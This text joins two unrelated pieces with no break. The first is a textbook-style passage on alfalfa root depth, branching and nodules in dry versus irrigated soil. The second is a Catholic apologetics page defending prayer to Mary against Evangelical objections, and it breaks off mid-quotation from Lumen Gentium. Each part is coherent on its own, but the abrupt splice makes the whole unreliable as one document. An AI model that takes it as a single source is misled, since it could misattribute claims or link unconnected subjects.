tendency for the branches to turn downward with less lateral spreading in dry land than in the irrigated soil. The number of small laterals varied from 6 to 10 per inch and was about the same in both cases, although they extended much closer to the root tips in the dry soil. This was due, undoubtedly, to the slower rate of elongation of the main roots. In the irrigated plot, the taproots had grown at the average rate of about half an inch a day, some reaching depths of over 3 feet. Nodules 1 to 2 Millimeters in diameter occurred abundantly over the entire root system of the irrigated plants, but in the dry land, they were smaller, not abundant, and fairly well distributed only in the first 18 inches of soil. Thus, it seems clear that an unfavorable environment not only affects crop growth directly but also indirectly through its influence upon nodule-forming as well perhaps as on other types of nitrogen-fixing bacteria. The activities of other soil organisms are, undoubtedly, also greatly modified.  Root Habit at the End of the First Year.--A final examination was made near the end of the growing season on Sept. 12. Rainfall since July 8 had been very light, and little water had been available at any level in the dry land. This was especially the case in the shallower soil. The second growth in the irrigated plots, the first crop having been cut on July 26, was 26 inches tall. The plants were in full bloom. In the dry land, the crop was only 8 inches tall. A root depth of 6.1 feet had been attained by the more vigorously growing crop, at which level seepage water occurred. Plants in dry land reached a maximum depth of 5.5 feet. The roots were much more kinked and curved, probably owing to the greater difficulty in penetrating the hard, dry soil (Fig. 101). Working depths were 4.6 and 3.2 feet, respectively. As before, the dry-land plants were characterized by a greater number of strong branches in the surface foot and by a marked tendency to spread but little before turning downward and penetrating deeply. The spread of branches in the better watered soil, where they frequently originated at a depth greater than 1 foot, was much more pronounced, sometimes reaching 2 feet . No nodules were found on dry-land plants, but they were abundant to 4 feet in the irrigated soil.  Fig. 101.--Alfalfa roots near the end of the first season's growth: A, dry land; B, irrigated soil.  Root Extent during the Second Year.--By July 10 of the second year, which was relatively very wet, the dry-land alfalfa had extended its depth from 5.5 feet, where dry soil had occurred, to 9 feet. Below 6 feet, the soil was sandy and gravelly. In the watered plot, growth had ceased the preceding season at the 6-foot level, owing to seepage water saturating the soil, but the roots now extended to nearly 10 feet. A comparison of Figs. 101 and 102 shows clearly the differences between the root systems in the two fields.  Fig. 102.--Root systems of alfalfa on July 2 of the second year of growth: A, dry land; B, irrigated soil.  Other Investigations of Alfalfa.--The root habits have also been studied in several other places in Colorado in soil varying from sandy loam to heavy clay. 84 In all cases, a marked taproot with relatively few large or widely spreading branches was characteristic. Six-year-old plants on stiff clay soil near Fort Collins were found to penetrate to a depth of about 12 feet, although 7 feet was the more usual depth of penetration found in the other Colorado soils. Little correlation was found between depth of roots and age of plants. Year-old plants in fine loam with a clayey subsoil were about 4 feet deep but 9-months-old plants had root lengths of nearly 9.5 feet. Roots of 6-year-old plants were found which were larger than 9-year-old ones. The causes for these differences were not determined. They may have been due in part to thickness of planting and the effects of frequency of cutting. In the sandy soils of Wisconsin, where the roots reach depths of 7 to 10 feet and sometimes more, a study of the effects of different treatments on the growth of the crop has been made. In these light soils, too frequent and especially too early cutting greatly retards root development. 145  At Stillwater, Okla., where a porous open subsoil is overlaid by a plastic clay hardpan, root penetration was limited to the soil above the hardpan. Where lime was applied, the roots entered the hardpan but did not pass through it, though on soil which had been treated with barnyard manure, the roots extended through the hardpan. The greatest depth of root penetration and the greatest root development were attained, however, where both lime and manure were applied. The taproots, under these conditions, extended below the hardpan into the more porous lower subsoil. Increased root length of 10 to 23 inches was thus brought about. Whether the results were due to the stimulating effect of the lime and manure on the plant or to their action on the hardpan was not ascertained. 15 Undoubtedly, in soils with a very deep, moist subsoil, alfalfa roots reach great depths. However, roots seldom reach a diameter greatly exceeding 1 inch and are usually about ½ inch thick.  On upland loam soil at Manhattan, Kan., roots have been traced to depths of 8.5 feet 204 and, in stiff clay soils, to a depth of 10 feet without finding an end. Alfalfa roots are said to extend 15 to 30 feet in depth in fairly good soil. It may be recalled that depths of 21 to 25 feet are attained by the wild rose and certain other prairie species. The need for an extensive absorbing system can be appreciated when it is recalled that the crown of alfalfa may produce from 100 to over 300 leafy stems.  Varietal Differences in Root Habit.--In regard to the root habits of different varieties, studies made in South Dakota are of interest.  There are outstanding differences between the root systems of southern-grown common and yellow-flowered alfalfas in the prominence of the taproots, the development of branch roots, the number and development of rhizomes, and in the number and place of most profuse production of fibrous roots. Between many plants of common alfalfa, especially of the less upright forms, and many plants of the Turkestan and Grimm alfalfas, however differences are not great, and it is often impossible to determine by their root systems the groups to which these plants belong. In brief, the root systems of the least hardy forms of purple-flowered alfalfa may be distinguished from the most hardy hybrid and yellow-flowered alfalfas with accuracy, but the intermediate forms are not sufficiently distinct to be distinguishable from one another or invariably from some forms of the non-hardy or yellow-flowered alfalfas. 65  Relation of Root Habit to Crop Production.--An examination of seedling alfalfa roots helps to make clear why a well-prepared seed bed is essential to a good stand, the delicate roots growing best when in close contact with well-pulverized soil. It also explains why a crop sowed early in the fall does not winterkill as badly as the less developed plants of a late-sowed one. Although alfalfa is not exacting as regards soil texture and will grow well even in heavy clay soils, a knowledge of its deeply rooting habit explains why it thrives best in deep, permeable soils, as loam, silt loam, or sandy loam. The roots are very sensitive to poor aeration resulting from standing water, complete submergence for only a day frequently being fatal, and the crop grows poorly or not at all if water stands within 2 to 3 feet of the. surface. Hence, the soil must be well drained; in fact, the deeper root system demands more complete drainage of the soil than do many other field crops. If the soil lacks depth due to such factors as a high water table, hardpan, rock ledge, etc., the crop is unable fully to utilize its deeply rooting habit. Although adapting its root habit to a considerable extent, growth will usually be less vigorous and the plant less able to withstand the competition of weeds rooting in the surface soil. Its deeply rooting habit is a character which well adapts it to semiarid regions, where, because of moderate precipitation, the soils are well drained, rich in unleached lime and other nutrients, but often fairly moist to considerable depths. Its ability to withstand drought and to continue growth, often when other plants are wilting or dead, is due, in a large measure, to its deep root system drawing upon water in the moist layers of the deeper soil.  Because of its large root growth, alfalfa exerts a very beneficial effect upon the soil, even compact soils becoming porous and friable. Aside from the fertilizing effect of the decayed roots and the increased nitrogen supply resulting from the activities of the bacteria in the nodules, some of the nutrients obtained from the deeper subsoil are left near the soil surface upon the decay of the roots and stubble and are thus made available for other plants. The roots and crowns decay quickly, leaving the soil mellow and highly productive. It should be noted, however, that alfalfa requires much more of certain other nutrients, notably phosphorus, potassium, and calcium, than equivalent yields of many other crops, and the soil is consequently more depleted of these elements.  It has been found in Colorado and in Canada that alfalfa plants having a branched root system are better able to withstand winter soil heaving than those having only a single taproot. Plants which develop rooting underground stems are able to maintain themselves after the death of the main root. When alfalfa has the habit of spreading by root proliferations, the plant is better able to recuperate from injury and to withstand cold. It has also been ascertained that such plants are generally more drought resistant. 16a, 193  Recent physiological investigations have shown an important interrelationship between the size and composition of the roots of alfalfa and the productivity of tops.  New top growths, especially in their early stages, are initiated largely at the expense of previously deposited organic root reserves. The quality of these storage materials and their relative availability to the early growth requirements of a young shoot influence its subsequent growth and ultimate production. The translocation of the storage products from the root to the young stems results in root-reserve depletion. This deficiency cannot be restored by supplying mineral nutrients to the plant; but, since the reserves appear to be largely organic, they must be elaborated by the plant itself and translocated to the root. Before the partial depletion of the root reserves is fully replenished, the stems must reach a certain degree of maturity. In alfalfa, this is apparently the seed-pod stage. 145  Frequent cutting in an early bud stage checks root growth. In one experiment involving the measurement of 355 plants, the root diameter near the crown was reduced 29 per cent by two cuttings in the early bud stage as against one cutting in full bloom. The growth of new stems is accompanied by an appreciable decrease in the roots of both available carbohydrate and nitrogen reserves.  With favorable soil and climatic conditions, the growth of new shoots and stems of alfalfa is largely dependent on the organic food reserves remaining in the root and crown when the last cutting is made. Since the early growth of alfalfa stems tends to exhaust the root reserves, the primary cause of root exhaustion is a removal of the leaves and stems before they have had opportunity to replenish completely these losses. Cutting the crop too often in an immature stage ultimately robs the root and crown of its stored products, and the plant is left in a weakened and exhausted state. Each successive premature cutting results in increased detrimental effects until finally the plant dies. 145  Prematurely cut alfalfa often exhibits decided pathological symptoms of yellowing and stunted growth. Accompanying decreased vigor and stand is a corresponding increase in weeds and bluegrass infestation. Depleted root reserves are associated with a high water content of the root and a low concentration of dissolved organic constituents, a condition which may be a contributing factor in winterkilling. 145  SUMMARY  Alfalfa is a long-lived, very deeply rooted perennial. Upon germination, a strong taproot develops rapidly and penetrates almost vertically downward. It often reaches a depth of 5 to 6 feet the first season, 10 to 12 feet by the end of the second year, and may ultimately extend to depths of 20 feet or more. It is notably a deep feeder. In common alfalfa, practically no branches occur in the surface few inches of soil, and those that originate deeper do not spread widely but turn downward after running a little distance obliquely and usually pursue a course more or less parallel with the taproot. Often, both large and small branches are quite scarce, and the taproot is always the most prominent part of the root system. Under favorable soil conditions, nodules occur at all depths. The root habit shows considerable variation among the different varieties, and that of a given variety varies markedly under different environmental conditions. When depth of penetration is limited, the degree of branching and wide lateral spreading of branches may become very pronounced. The crop makes its best growth in deep, moist soils where the full extent of its deeply penetrating root system may be utilized. A close relation exists between development of tops and growth of roots, too frequent and, especially, too early cutting retarding root growth.
-Do Catholics pray to Mary?  An Evangelical friend said, "When I go to a doctor I don't want to talk to his mother." That is an interesting analogy. However, this Evangelical talks regularly with his pastor and asks the pastor to pray for him. The pastor doesn't turn him away by saying, "Don't talk to me! Don't ask me to pray for you! Go straight to Jesus!" The pastor has compassion and "intercedes" (stands in the gap) for him. He prays for the congregation and for individuals. He wants to assist people in their relationship with Christ. This in no way diminishes Jesus' role as the Lord and Saviour.  Heaven is not a "dead" place. Catholics believe people in heaven are alive. (Mat 19:29, 25:46, 10:17-22, Mk 10:30, Lk 10:25-30, Lk 18:18-30, Jn 3:15-16). Catholics ask Mary to pray to Jesus for us.  Mary is a "born again" Christian who received the Holy Spirit at Pentecost and spoke in tongues 2000 years before Pentecostals got the gift (Acts 1:14, 2:3). She knows how to pray - yes, even in tongues!  Many Christians reading this have had powerful experiences with the Holy Spirit. It is amazing when he comes upon us. Some of us have experienced miraculous healing.  But who among us has experienced the power of the Holy Spirit in such a way that the God of the universe became flesh inside us. Mary experienced the Holy Spirit like none of us have.  In the Rosary we ask Mary to "Pray for us sinners."  We think Mary is totally alive, and is praying for us the way a faithful pastor would pray for his congregation, except much more so. She's interceding for the unborn, for mothers contemplating abortion, and for many others who are experiencing sorrows in our world, and who need Jesus.  Our Lady of Sorrows  Painting by Tianna Mallett (daughter of our friend, Mark)  Do Catholics Worship Mary?  Many Evangelicals think the word "pray" means "worship." So it makes sense that they think Catholics who "pray" to Mary actually "worship" her. Let's look up the word "pray" in the dictionary. Here is what Webster's says about the word pray:  (1) To utter petition to God ... (2) To make a fervent request: PLEAD (3) To beseech: implore (4) to make a devout or earnest request for.  The first thing to notice is that the word "worship" is not included in the definition of "pray." It does not mean "worship." A prayer to Mary is clearly not a petition to God. Mary is not God, and there is not one faithful Catholic since the apostles who has said she is. So clearly it is not the first meaning.  The English language is often limited in that we often have to use the same word to say different things. Most Evangelicals understand the different Greek words for "Love" (Agape, Eros, Philia,etc..). Someone who mixes up Agape love for Eros could be in serious hot water. There are also several meanings of the word "pray." When Catholics pray to God they "utter a petition to God." When they pray to Mary and the Saints they are making a "devout or earnest request for" prayers from Mary or the saints. In mediaeval times when a royal court official was asking something of a person who outranked him, he would say "I pray thee your majesty." You have to say that in an English accent to get the full effect! The person was simply making a request in a polite manner.  Catholics think Mary is a prayer warrior. That's her job. We think she was given a full-time 24/7 prayer ministry. She said, "all generations will call me Blessed" and "my soul magnifies the Lord" (Luke 1:46). Catholics think this word of Scripture is significant, although its one of the list of scripture passages we almost never hear during surmons in Evangelical churches.  "The veneration of Mary is inscribed in the very depths of the human heart." - Martin Luther, Sermon - September 1, 1522  Latria - adoration that is given to the Trinity alone; occurs 5 times in the Bible but always refers to God (Jn 16:2, Rm:9:4, 12:6, Heb 9:1,6) Hyper-dulia - veneration to Mary (as the mother of God) Dulia - honor paid to saints and angels; occurs 5 times in the Bible (Rm 8:15, 21; Gal 4:24, 5:1; Heb 2:15)  There are plenty of Old Testament references that distinguish veneration from worship. "Then Moses went out to meet his father in law, and he bowed down and kissed him.." (Exo 18:7)...(also 1 Chron 29:20, 1 Sam 24:8)  Some evangelicals say "consecration" shows that Catholics worship Mary. The word "consecrate" means to entrust. I entrust myself to my closest friends but only one is my Savior.  “Never be afraid of loving the Blessed Virgin too much. You can never love her more than Jesus did.” - St. Maximilian Kolbe (a priest who died in Auschwitz as a result of taking the place of a Jewish father, who was present at Kolbe's canonization 50 years later)  Video: The Bible and Mary  "Mary's role in the Church is inseparable from her union with Christ and flows directly from it." - Catechism of the Catholic Church, par. 964  Here's a great video about what the Bible has to say about Mary:  Testimony of a Jewish Convert  Here is Roy Schoeman, a Jewish Catholic, who gives his experience with Mary.  Click "like" if you love Our Lady!  Does hanging out with Mary de-focus us from Jesus?  We got an email that said:  Why then would we want to take the focus off of Jesus and pray through Mary, or any one else for that matter? I also see a lot of the issues surrounding Mary as distractions.  We appreciate concern that attention paid to Mary defocuses from Jesus. It is an interesting choice of words because Mary said the opposite about herself. In the Bible, Mary clearly spells out her role in eternity:  My soul magnifies the Lord,  And my spirit has rejoiced in God my Savior.  For He has regarded the lowly state of his maidservant;  For behold, henceforth all generations will call me blessed. (Lk 1:46-49)  The Bible says Jesus is magnified by Mary's soul. A soul is not limited by life on earth. Mary reinforces her eternal ministry by saying "all generations will call me blessed." If the Bible intended Mary's ministry to end with the birth of Jesus, or at Jesus' death, or even at Mary's death, we don't think it would use that language.  A magnifying glass increases the object it is focused on, so being in relation to Mary's eternal soul does not draw focus away from Jesus, it does the opposite. It magnifies him. This is the Bible's word to the people of God.  We've heard Evangelical pastors do sermons on just about every passage of Scripture except this one. I invite you to try to remember a sermon on Luke 1:46-55. The movie "The Nativity" removed words from the Bible that referred to Mary when they flashed the passage on the screen during the final scene. It's crazy to remove words about Mary from the Bible to make some Christians feel more comfortable.  Click to expand the words that were removed The Nativity Story changes a critical line of the Bible For me the most problematic section was the way Mike Rich, the screenplay writer, changed the Magnificat (Luke 46-55), which he also relegated to the end of the movie. In Mike Rich's revision of the Bible, he changes Mary's line in Luke 1:49 to say: "For He who is mighty has done great things, and holy is His name. And His mercy is on those who fear Him from generation to generation." The two important words that he left out were "...for me..." In the Bible Mary said: "For He who is mighty has done great things for me, and holy is His name. And His mercy is on those who fear Him from generation to generation."..." It is wrong to leave words out of the middle of a sentence of Scripture. Revelation warns against this. (Rev 22:19) In fact, I would say that leaving those two words out of the sentence changes the whole meaning of the Magnificat. Those two words "...for me..." put the rest of the Magnificat into relation with Mary, they put her at the centre of it. Mike Rich also leaves out any other mention of Mary in the Magnificat. He leaves out this: My soul magnifies the Lord,  And my spirit rejoices in God my Savior.  For He has regarded the low estate of His handmaiden,  For behold, henceforth all generations shall call me blessed.  (Lk 1:46-49) The omission of this text in the Magnificat divorces it of its natural significance in relation to Mary.  Catholics believe Mary's soul still "magnifies the Lord" for Christians of our generation who choose to relate to her. Currently, Catholics are pretty well the only ones upholding the biblical prophecy to call her blessed, which was intended for all generations, and for all Christians.  Our experience with Mary has actually significantly improved our relationship with our Lord and Saviour, Jesus. We think time spent with Mary is no more de-focusing than time spent with our other Church friends or with my our pastor. The logical end to the "defocusing" theory is that we should never talk to or pray with any other Christians. It suggests we shouldn't go to prayer groups, or even read the Old Testament (because it predates Christ). It suggests we should only talk with Christ alone and never even talk to another human being. That seems like a definition of a hermit and although it is a valuable calling, it's not for us.  When I (Hugh) was a performer in the US National tour of "Cats" my mother did not want to jump on the stage and take my place in the spotlight (although that would have been pretty funny). She wanted everyone to know that her son was in "Cats." She wanted everyone to go see me. That was her role. Mary's role is not to jump on centre stage and take the place of Jesus. She just wants everyone to know about her Son Jesus and she will do anything to help that relationship.  We got an email that said:  ... unlike Kings here on earth, God doesn't need a Queen. He has been, He is, and He always will be complete on His own.  Absolutely. God is complete. It is not out of Jesus' incompleteness that He has called angels and saints to join him in ministry. It is not because He is not strong enough and needs help. He could easily snap his fingers and the entire population of the world would suddenly see God and know He exists. He does not need Mary, angels, or saints. Nor does He need you or me.  It is out of his overabundance of Graces. It is his generosity, his desire to share his graces, his overflowing goodness, and his great Love for us. The Psalmist said "my cup overflows" (Ps 23). That is what God is. He is overflowing with graces that he shares with his mother and all his children. If he loves you and me so much as to invite us to join in his ministry, it is not hard to imagine that he would invite his mother to join in his ministry.  Catholic versus the Evangelical approach to a relationship with Jesus  Scenario 1: If a guy falls in love with a girl he might say:  I love you so much. I love you so much that I want to spend all my time with you. I never want to talk to your mother. I never want to see your family or friends. I want you to banish them when they come around, I just want to spend my whole life with you and love you.  That's how we understand the Evangelical take on a relationship to Jesus.  Scenario 2: On the other hand he could say:  I love you so much. I love you so much that I want to spend my time with you. Your mom is welcome to visit our home. Your family is my family, your friends are my friends. The people you love, I will love. We are one flesh and I welcome everyone you welcome."  We think the second one sounds like a more authentic love. We think that is the Catholic approach to a relationship with Jesus.  Isn't there only one mediator between God and man?  We got an email that said:  Christ is the one and only mediator between God and man (1 Tim. 2:5; Heb. 8:6; 9:15; 12:24)...It can not be made any clearer in the scriptures that God wants to communicate with us directly, and to be cautious of those who try to step in to mediate.  1 Timothy 2 does not say that God wants us only to communicate with Jesus. It says there is only one mediator between God and man, which is a different thing. The passage does not say "be cautious" of asking people to pray for us. It doesn't do anything of the sort. The chapter begins by not only allowing intercessory prayer by third parties, but requiring it and indicating that it actually helps bring them to salvation and knowledge of truth. Any mother who prays for her children knows that.  I urge, then, first of all, that requests, prayers, intercession and thanksgiving be made for everyone ...This is good, and pleases God our Savior, 4. who wants all men to be saved and to come to a knowledge of the truth. (Tim. 2:1-4)  We cannot read the rest of the chapter without considering that overarching idea. We think that Christians in heaven pray through Christ much better than we on earth. They are much closer to Christ than us. Evangelicals pray for each other, and they don't say they are taking God's place. When we pray for one another we are participating in the mediation but we are not the mediator. Catholics feel that saints in heaven, including Mary, can pray for us just as well (or infinitely better) than our friends on earth.  Hebrews 8:6 says Jesus has obtained a more excellent ministry than any of the high priests. In 9:15 and 12:24 the passage goes on to say he is the mediator of a New Covenant, Catholics fully agree. We fully agree he is the mediator. We think Christians in heaven are a heck of a lot more aware of who Christ is than we are. The Bible says that he has helpers that participate in his ministry by his invitation. We believe he has invited Christians on both sides of heaven to do that.  When a saint enters into the joy of their Master, they are "put in charge of many things" (Mat. 25:21)  Saints are serious prayer warriors. We don't think that praying with the Saints detracts from the worship of God anymore than praying with friends detracts from worship of God. Saints are not all knowing, but they know a heck of a lot more about this spiritual game than us. They are creatures. This does not take away the tremendous benefit we can get from communing with them. Catholics think "their intercession is their most exalted service to God's plan. We can and should ask them to intercede for us and for the whole world" (Catechism 2683).  If only God is omniscient, omnipresent, and omnipotent, how does Mary hear "a million" requests for intercession at one time?  The best way to respond to this "million prayers at once" objection is to describe something in our lives. We have a little computerized recording studio. A friend of mine knows nothing about computers and when he heard our CD he said:  Hey how is it that you are singing all those voices and playing all those instruments at the same time. You are not omnipresent!  We explained to him that it takes us 150 hours to record a 3 minute song. With the computer we record each instrument and voice one after another and then mix them all together into this 3 minute song. So the measure of time we use to record the song is not the measure of time that people perceive when they hear the song on the radio. The recording was not made in "real time."  Heaven is not in "real (earth) time." Heaven is outside of earth time!  On one of our songs, I (Hugh) am singing 75 voices and playing 60 music tracks at the same time because we do not record in "real time." That does not make me "omnipresent!" If we can do this, heaven can figure out how to respond to multiple requests for prayer because they are not handled according to "earth time."  Calling on the Saints is not like calling the help desk for your internt provider, where they say "due to unusually high call volume there may be a wait time of 10 minutes, you are 8th in queue." Heaven doesn't work that way. It is outside of earth time.  The great scientist, Einstein describes the physical universe in 4 dimensions, length, width, depth and time. Jesus said "My kingdom is not of this world," therefore it makes sense that it is outside of time. The universe is a big place, omnipresence implies being everywhere in the universe and beyond at one once. A saint's ability to hear a bunch of requests for prayers at once doesn't infer omnipresence. It just means they are outside of time like everyone else in Heaven.  Catholics don't think people have to be omniscient, omnipresent, and omnipotent in order to be in heaven. Scripture tells us there are many levels of authority in heaven (archangels, angels, cherubim, seraphim, etc.) I think Evangelicals believe angels know what is happening in different parts of the earth at the same time, yet they are not omnipresent. Mary doesn't need all knowledge or be present everywhere to hear more than one request for intercession at once.  The scientist Albert Einstein describes the physical universe (our world) in 4 dimensions, length, width, depth and time. Jesus said "My kingdom is not of this world." If "time" is part of our physical universe and Jesus' Kingdom is not of this world, it makes sense that heaven is outside of time. So hearing 1,000,000 requests for prayers at one time would be no problem. Just line them up (or whatever). Being out of time is more than sufficient to overcome the standard "million prayers at once" objection. Catholics believe people in heaven are out of time and are enabled to observe and hear what is going on in the earth (which is expressly indicated in Scripture - at least the observing. The "hearing" is a valid deduction). (1)  Talking to Heaven is not like calling a "help desk," where you sit in the queue waiting for them to answer while you listen to bad music on the phone.  There is no help line prayer queue in heaven...  Oh, and they speak English perfectly in heaven too, they understand.  The universe is a big place. The term "omnipresence" implies being everywhere in the universe and beyond. We think objecting to Mary' intercession because it implies omnipresence is as short-sighted as medieval people thinking the universe revolved around the earth. Mary's ability to hear a bunch of prayers at once doesn't mean she is omnipresent. It just means she is outside of time like everyone else in Heaven.  When I was a baby, God trusted my earthly mother to care for me. That did not make my mom omnipresent, although I thought so when I was a kid. God trusted Mary to care for her Son when He was a child. At the foot of the cross Jesus trusted her with the care of John. Catholics think in this gesture Jesus gave Mary as a mother to all humanity.  "I don't pray to dead people"  An Evangelical friend said, "I don't pray to dead people." Catholics don't think heaven is a "dead" place. Catholics believe people in heaven are alive. (Mat 19:29, 25:46, Mat 10:17-22, Mk 10:30, Lk 10:25-30, Lk 18:18-30, Jn 3:15-16). We see Lazarus alive by Abraham's side (Lk 16:22). At the transfiguration we see Moses and Elijah alive beside Jesus. (Mat 17:3) There seems to be a lot of conversing in Heaven in Revelation (i.e. Rev 4:10). The Church thinks heaven is a lively place with lots of singing and stuff. They don't think people in heaven are saying "Hey shut up with the singing will ya, I'm trying to sleep!!!" Jesus opened the gates to Heaven. "Graves of the dead were opened and they went into town to preach the Gospel." (Mat 27:52). Jesus said "Now he is a God not of the dead, but of the living; for to him all of them are alive." (Lk 20:39-40)  I recently read an interview with Gracia Burnham, an Evangelical missionary who was held hostage by Muslim terrorists for over a year with her missionary husband. Her husband was shot to death. In this interview she said the following:  Phil Calloway (editor of Servant Magazine-Evangelical): He sounds like an amazing guy. Is he making trouble up in heaven right now? (laughter) Gracia: I used to tell the kids, I can just imagine your dad pulling on God's sleeves saying, "There's Gracia, she needs a car, she needs something." And then I told the kids why would almighty God who knows us and loves us and died for us need a human to tell him what we need. And I switched my thinking to God pulling on Martin's shirt sleeve and saying, "Hey Martin, look what I'm going to do for Gracia and her family." (Mission Fields Magazine spring 2004, pg 3)  It does not appear that Gracia thinks her husband is in some kind of a coma until the final judgment. Here is a perfect example of how the Catholic view on death is very prevalent among Evangelicals who have had a loved one die. Sure she distanced herself from her initial instinct of Martin praying for her in heaven, but I think her initial instinct was better. She said "Why would God need a human to tell him what we need." Yet in the same interview she attributes her escape from the terrorists to the faithful prayers of Christians back home.  In his #1 Evangelical book, The Purpose Driven Life, Rick Warren, says:  Your spiritual family is even more important than your physical family because it will last forever. Our families on the earth are wonderful gifts from God, but they are temporary and fragile, often broken by divorce, distance, growing old, and inevitably, death...our spiritual family-our relationship to other believers-will continue throughout eternity. It is a much stronger union, a more permanent bond than blood relationships. (The Purpose Driven Life, pg 118, my emphasis)  Here Pastor Rick, an Evangelical, almost perfectly describes the Catholic Dogma of the Communion of Saints.  Isn't the Bible against invoking "the dead"  Some Evangelicals think that asking a person in heaven to intercede for us is condemned in Deuteronomy 18:10-12. The Catholic Church believes that Deuteronomy 18:10-12 speaks about the occult, soothsayers, sorcerers, spells, ghosts and spirits. It is not about heaven, angels and Jesus. Ghosts have not entered into heaven so it would displease God to talk with them. Also this passage occurs before Jesus was on the scene so no one was in heaven. Samuel was in the ground (1 Sam 28:8-25). They were all in Sheol (dead) so the passage makes sense. Leave them in peace.  Catholics believe that it is perfectly safe to ask Christians in heaven to pray for us. Mary's place in heaven is assured and she's not going to do anything dumb like cast an evil spell on us. She's Jesus' Mother! Mary is in Heaven and as such she can be a trusted friend. All Christians are baptised into one Body. We see nothing in Scripture that tells me that that relationship ends after a Christian gets into heaven. Mary is a "born again" Christian who received the Holy Spirit at the Pentecost and spoke in tongues 2000 years before Pentecostals got the gift. (Acts 1:14, 2:3)  "There can be no doubt that the Virgin Mary is in heaven." - Martin Luther, Sermon - August 15, 1522  Martin Luther also spoke to her in the first person:  "No woman is like you. You are more than Eve or Sarah, blessed above all nobility, wisdom, and sanctity." - Martin Luther, Sermon - Feast of the Visitation, 1537  Catholics do not think of Mary as a "dead" example of faith. They think of her as a living witness to it.  Doesn't Revelation say not to bow in worship to Angels?  We got an email citing the book of Revelation:  Then I fell at the angel's feet to worship the angel, he said ""You must not do that! [worship me] I am a fellow servant with you and your comrades the prophets ...(Rev 19:10)  This person was suggesting that it is unscriptural to communicate with anyone in Heaven except Jesus. Let us examine the relationship between John and the angel. The angel is his "fellow servant". The angel was sent by God to give a critical message to John and all Christians: "Do not seal up the words of the prophecy of this book." The angel told John to write down what the angel showed him. What was the result?...The Book of Revelation...  The Bible, the word of God, was given through an angel.  Revelation opens with this verse...  1:1 The revelation of Jesus Christ, which God gave him to show his servants what must soon take place; he made it known by sending his angel to his servant John...  God used an angel, he could have done it himself. The angel didn't say "hey, don't talk to me, talk to God alone." We suggest that God uses servants...servants who know a lot more than us humans on earth. This takes nothing away from God. It simply reflects his overabundance of grace. We suggest that the communication John had with the angel was called prayer.  The passage supports the Catholic viewpoint on the role of heavenly servants rather than the contrary position held by some non-denominationalists.  Was John a peer with his "fellow servant?" obviously not! In an army, is a "private" a peer with his fellow soldier who is a "corporal?" No. There is a hierarchy in heaven... archangels, angels, seraphim, cherubim, etc... And at the bottom is us lowly fellow servants on earth. Most evangelical theologians readily preach this hierarchy in heaven and we Catholics think there is nothing whatever unscriptural about communicating with heavenly creatures. Apparently, John, Mary, Zachariah and a ton of other holy servants have no problem with it either. The Bible says so.  God commissioned us to fight the spiritual battle on earth. Catholics don't think He'll decommission us when we get to heaven. It is perfectly fitting that God would use the mother of Jesus and spouse of the holy spirit in this battle against Satan and his team of evil spirits. She spoke in tongues at the Pentecost (Acts 1). Scripture is plain that all generations will call Mary blessed (Lk 1:48).  How can Mary be in Heaven before the final judgment?  Some Evangelicals are nervous about asking Christians in heaven to pray for us because the final judgment hasn't occurred yet (however, they are certain that a Christian's place in heaven is assured the moment they are "born again"). If there was any doubt about Mary being born again at the foot of the Cross, surely any Evangelical would admit Mary was "Born Again" at the Pentecost when she got hit by the Holy Spirit (Acts 1:14, 2:3). She spoke in tongues that day (Acts 2:6).  At Evangelical funerals we hear people saying, "He is with the Lord now." They are confident the person is in Heaven. We Catholics think the faithful guy who "dies" is dancing and singing and rejoicing in heaven. If a faithful Christian is alive in heaven, why would we not ask for them to pray for us. And Catholics don't think any Christian has ever been more faithful than Mary.  A Biblical discussion of this stuff is in the section on Saints and also in Are Catholics "Born Again?" (Don't worry, we Catholics are into a personal relationship with Jesus. Honest...Jesus Rocks!)  All this to say that Catholics think it is perfectly safe to ask someone in heaven to pray for us. Especially a prayer warrior like Mary.  In Catholicism, Jesus - in the Eucharist - takes centre stage  Another thing to take into consideration before dismissing Catholics who pray with Mary (or the saints) is that in Catholicism the highest form of devotion is to Christ living in the Eucharist (those who think the Eucharist is a pagan sun-god may want to read this). Evangelicals don't believe in the "real" presence of Jesus, so any kind of honour given to Mary or a saint appears to put them on an equal footing with Jesus. Catholics believe the Eucharist is Christ in the flesh. Given this, every other form of devotion pales in comparison. Jesus is King of kings and Lord of lords above all else. The angels, saints and Mary are just his helpers as we Christians on earth are also helpers in Jesus' work. In the context of the Eucharist, any prayer to Mary or the saints is clearly a request for help. It is not a request for salvation. Jesus is the one and only Saviour and the Catholic Church has always taught that.  St. Louis de Montfort was probably the most "Marian" of all the Saints. He said "If devotion to our Lady distracted us from our Lord, we would have to reject it..." (True Devotion pg. 62) He goes on to say that devotion to Mary does not do this. Mary said "my soul Magnifies the Lord." She did not say "my soul obscures the Lord." She said this immediately after Elizabeth called her "Mother of my Lord" (Lk 1:43). Some Evangelicals say it is blasphemous to be "devoted" to Mary. Yet these same people would say they are "devoted" to their wives or husbands or children or even their jobs. Devotion does not deify something or someone, it only acknowledges a deep respect.  "We do not slight the Son when we honour the Mother." (Saint Louis De Montfort, "True Devotion" pg 94)  "There is no other way of Christian prayer than Christ. Whether our prayer is communal or personal, vocal or interior, it has access to the Father only if we pray "in the name" of Jesus... to invoke him." - Catechism of the Catholic Church, p. 2665-2666  The Catholic Church is clear about the centrality of Jesus. The Saints are simply "alumni" in the "university of life" who are there to help Jesus in the same way the angels help.  "The Cross, which seems to rise up from the earth, in actual fact reaches down from heaven, enfolding the universe in a divine embrace. The Cross reveals itself to be the centre, meaning and goal of all history and every human life." - Pope John Paul II, Message to World Youth Day 2000  Lumen Gentium and "Queen of Heaven"  We've snipped a few passages from the Lumen Gentium, an official document of the Church from Vatican II. It is often quoted by Evangelicals for its "Queen of Heaven" statement. The document accurately makes clear Jesus' authority over heaven and earth:  60. There is but one Mediator as we know from the words of the apostle, "for there is one God and one mediator of God and men, the man Christ Jesus, who gave himself a redemption for all." (298) The maternal duty of Mary toward men in no wise obscures or diminishes this unique mediation of Christ, but rather shows his power. For all the salvific influence of the Blessed Virgin on men originates, not from some inner necessity, but from the divine pleasure. It flows forth from the superabundance of the merits of Christ, rests on his mediation, depends entirely on it and draws all its power from it. In no way does it impede, but rather does it foster the immediate union of the faithful with Christ. (298 1 Tim. 2, 5-6). 62. ...For no creature could ever be counted as equal with the Incarnate Word and Redeemer. Just as the priesthood of Christ is shared in various ways both by the ministers and by the faithful, ...The Church does not hesitate to profess this subordinate role of Mary. 67. .. But it exhorts theologians and preachers of the divine word to abstain zealously both from all gross exaggerations as well as from petty narrow-mindedness in considering the singular dignity of the Mother of God.(23*) Following the study of Sacred Scripture, the Holy Fathers, the doctors and liturgy of the Church, 